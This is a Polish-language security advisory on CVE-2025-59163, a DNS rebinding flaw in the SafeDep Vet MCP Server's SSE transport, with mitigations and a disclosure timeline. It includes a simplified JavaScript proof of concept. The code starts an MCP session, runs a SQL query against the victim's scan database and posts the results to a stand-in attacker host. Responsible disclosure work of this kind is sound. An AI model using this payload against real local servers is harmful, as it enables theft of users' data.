Podatność DNS rebinding w transporcie SSE serwera Vet MCP
Autor: Evan Harris
Ryzyko: Niskie (CVSS 2.1/10)
Dotknięty komponent: SafeDep Vet MCP Server
Identyfikator CVE: CVE-2025-59163
Dotknięte wersje: < v1.12.5
Naprawione wersje: v1.12.5
Przegląd
SafeDep Vet MCP Server jest podatny na ataki typu DNS rebinding podczas pracy z transportem SSE. Podatność wynika z braku walidacji nagłówków HTTP Host i Origin, co pozwala złośliwym witrynom obejść zabezpieczenia zasady tego samego pochodzenia (Same-Origin Policy) i wykonywać nieautoryzowane wywołania narzędzi przeciwko instancjom Vet MCP.
Gdy DNS rebinding się powiedzie, atakujący może nawiązać sesję z punktem końcowym /sse, wywoływać włączone narzędzia MCP i wykraść zawartość bazy danych SQLite Vet użytkownika na serwer kontrolowany przez atakującego.
Zespół SafeDep zareagował na to zgłoszenie niezwłocznie, w ciągu kilku dni wydając poprawioną wersję (v1.12.5), która wprowadza walidację nagłówków Host i Origin z użyciem listy dozwolonych.
Inne narzędzia opisane na tej stronie zawodzą w ten sam sposób: Neo4j MCP Cypher Server podatny na przejęcie bazy danych za pomocą DNS rebinding i Serwer MCP Verify firmy Kluster naraża użytkowników na wyczerpanie kredytów.
Szczegóły techniczne
Podatność
Gdy serwer Vet MCP działa z transportem SSE (--server-type sse), udostępnia punkt końcowy HTTP, który akceptuje połączenia z dowolnego pochodzenia. Serwerowi brakuje walidacji:
- Nagłówka HTTP Host - dopuszcza żądania podające się za pochodzące z dowolnej domeny
- Nagłówka HTTP Origin - zezwala na żądania międzypochodzeniowe (cross-origin) ze złośliwych witryn
Ten brak walidacji umożliwia ataki typu DNS rebinding, w których:
- Atakujący kontroluje domenę z rekordami DNS o bardzo niskim TTL
- Ofiara odwiedza witrynę atakującego (np.
attacker.com) - JavaScript atakującego początkowo rozwiązuje się do adresu IP atakującego
- Po tym, jak przeglądarka ofiary zapisze połączenie w pamięci podręcznej, rekord DNS zostaje zmieniony na
127.0.0.1 - Kolejne żądania z
attacker.comkierują się teraz do localhost ofiary - Zasada tego samego pochodzenia przeglądarki zostaje obejściona, ponieważ pochodzenie pozostaje
attacker.com
Podatna konfiguracja
Atak wymaga następujących warunków:
- Zostaje wykonany skan Vet, a raporty są zapisywane do bazy danych
- Serwer Vet MCP działa z włączonym transportem SSE
- Atakujący wabi ofiarę na witrynę kontrolowaną przez siebie
Wektor ataku
Atakujący wykorzystuje DNS rebinding, aby:
- Nawiązać połączenie z
http://127.0.0.1:9988/sse - Uzyskać prawidłowy identyfikator sesji MCP
- Zainicjować sesję MCP
- Wywołać narzędzie
vet_query_execute_sql_queryz dowolnymi odczytowymi zapytaniami SQL - Odbierać odpowiedzi za pośrednictwem strumienia SSE
- Wykraść dane na serwer kontrolowany przez atakującego
Scenariusz ataku
Konfiguracja ofiary
Badacz bezpieczeństwa lub programista:
- Instaluje Vet do skanowania podatności w zależnościach
- Uruchamia skan:
vet scan -D /path/to/project - Uruchamia serwer MCP z transportem SSE:
./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - Serwer domyślnie wiąże się z
127.0.0.1:9988
Wykorzystanie przez atakującego
Atakujący przygotowuje infrastrukturę DNS rebinding:
- Konfiguruje serwer DNS z rekordami wieloznacznymi (wildcard) dla domeny (np.
rebinder.attacker.com) - Konfiguruje serwer DNS tak, aby początkowo zwracał adres IP atakującego, a następnie przewiązywał do
127.0.0.1 - Hostuje złośliwą witrynę z kodem JavaScript, który:
- Wykrywa, kiedy DNS rebinding się powiedzie
- Łączy się z punktem końcowym SSE Vet pod adresem
http://127.0.0.1:9988/sse - Nawiązuje sesję MCP
- Wywołuje zapytania SQL przeciwko bazie danych ofiary
- Wykrada wyniki
Przebieg wykorzystania
// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);
eventSource.onmessage = (event) => {
if (event.data.includes('sessionId')) {
const sessionId = extractSessionId(event.data);
const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;
// Initialize MCP session
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({ method: 'initialize' })
});
// Execute SQL query
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({
jsonrpc: '2.0',
method: 'tools/call',
params: {
name: 'vet_query_execute_sql_query',
arguments: { sql: 'SELECT * FROM report_packages' }
}
})
});
} else {
// Exfiltrate data received via SSE
fetch('https://attacker.com/exfil', {
method: 'POST',
body: event.data
});
}
};
Ofiara musi jedynie odwiedzić witrynę atakującego (np. poprzez odnośnik w wiadomości phishingowej, przejętą reklamę lub złośliwe zgłoszenie na GitHubie), podczas gdy jej serwer Vet MCP jest uruchomiony.
Ocena skutków
Naruszenie poufności
Główny skutek:
- Pełny dostęp do odczytu bazy danych SQLite skanów Vet za pośrednictwem narzędzia
vet_query_execute_sql_query - Ujawnienie informacji o podatnościach pakietów, w tym:
- Nazw i wersji używanych pakietów
- Znanych CVE dotyczących zależności ofiary
- Ocen istotności i szczegółów podatności
- Informacji wywiadowczych o łańcuchu dostaw oprogramowania
Wzmocnienie ryzyka:
- Atakujący uzyskują informacje o podatnych pakietach w środowisku ofiary
- Zależności i wersje pakietów ujawniają szczegóły stosu technologicznego
- Informacje te mogą zostać wykorzystane do opracowania ukierunkowanych exploitów
Wymagania ataku
Czynniki ograniczające możliwość wykorzystania:
- Wymagana aktywna interakcja użytkownika: Ofiara musi odwiedzić złośliwą witrynę
- Okno czasowe: Serwer Vet MCP musi być aktywnie uruchomiony z transportem SSE
- Wymóg konfiguracyjny: Ofiara musi jawnie uruchomić serwer z parametrem
--server-type sse(a nie z domyślnym transportem stdio) - Oparte na przeglądarce: Atak wymaga nowoczesnej przeglądarki z obsługą EventSource
Czynniki te przyczyniają się do oceny niskiej istotności (CVSS 2.1/10) pomimo potencjału wykradania danych.
Zalecane środki zaradcze
Dla użytkowników (natychmiast)
- Zaktualizuj do wersji v1.12.5 lub nowszej:
# Download the latest release wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz tar -xzf vet_Linux_x86_64.tar.gz ./vet --version # Verify v1.12.5 or later - Używaj transportu stdio (domyślnego):
# Avoid using --server-type sse unless necessary ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - Izolacja sieci:
- Uruchamiaj serwer MCP wyłącznie w zaufanych sieciach
- Stosuj reguły zapory sieciowej, aby ograniczyć dostęp do portu 9988
- Unikaj przeglądania niezaufanych witryn, gdy serwer jest uruchomiony
Dla programistów
Wprowadzone w wersji v1.12.5:
- Walidacja nagłówka Host z użyciem listy dozwolonych
- Walidacja nagłówka Origin w celu zapobiegania żądaniom międzypochodzeniowym
- Odrzucanie żądań z nieprawidłowymi lub brakującymi nagłówkami bezpieczeństwa
Dobre praktyki dla implementacji serwerów MCP:
- Zawsze waliduj nagłówki Host i Origin w transportach opartych na HTTP
- Domyślnie wiąż się wyłącznie z localhost (
127.0.0.1) zamiast z0.0.0.0 - Preferuj transport stdio zamiast transportów sieciowych, gdy tylko jest to możliwe
- Dokumentuj konsekwencje bezpieczeństwa różnych trybów transportu
- Wdrażaj rygorystyczne zasady CORS
Harmonogram ujawnienia
- 2025-08-30: Wstępne zgłoszenie podatności przesłane do SafeDep
- 2025-09-01: SafeDep potwierdza otrzymanie zgłoszenia
- 2025-09-02: SafeDep otwiera pull request z poprawką wdrażającą walidację nagłówków
- 2025-09-05: Wydana zostaje poprawiona wersja v1.12.5
- 2025-09-29: Opublikowano GitHub Security Advisory, skoordynowana data ujawnienia potwierdzona przez obie strony
- 2025-10-06: Opublikowano poradnik techniczny
Podsumowanie
Podatność DNS rebinding w serwerze Vet MCP pokazuje ważny aspekt bezpieczeństwa dla implementacji MCP: transporty sieciowe wymagają starannej walidacji nagłówków bezpieczeństwa HTTP, aby zapobiegać atakom międzypochodzeniowym.
Choć atak wymaga określonych warunków (aktywny serwer MCP z transportem SSE, ofiara odwiedzająca złośliwą witrynę, okno czasowe), potencjał wykradania danych uzasadniał odpowiedzialne ujawnienie i naprawę.
Reakcja SafeDep stanowi wzór odpowiedzialnych praktyk bezpieczeństwa:
- Natychmiastowe potwierdzenie zgłoszenia
- Szybkie opracowanie i wydanie poprawki (5 dni od zgłoszenia do wydania)
- Skoordynowane ujawnienie za pośrednictwem GitHub Security Advisory
- Jasna komunikacja przez cały proces
Wszyscy użytkownicy uruchamiający serwer Vet MCP z transportem SSE powinni natychmiast zaktualizować do wersji v1.12.5. W większości przypadków użycia domyślny transport stdio zapewnia bezpieczniejszą alternatywę.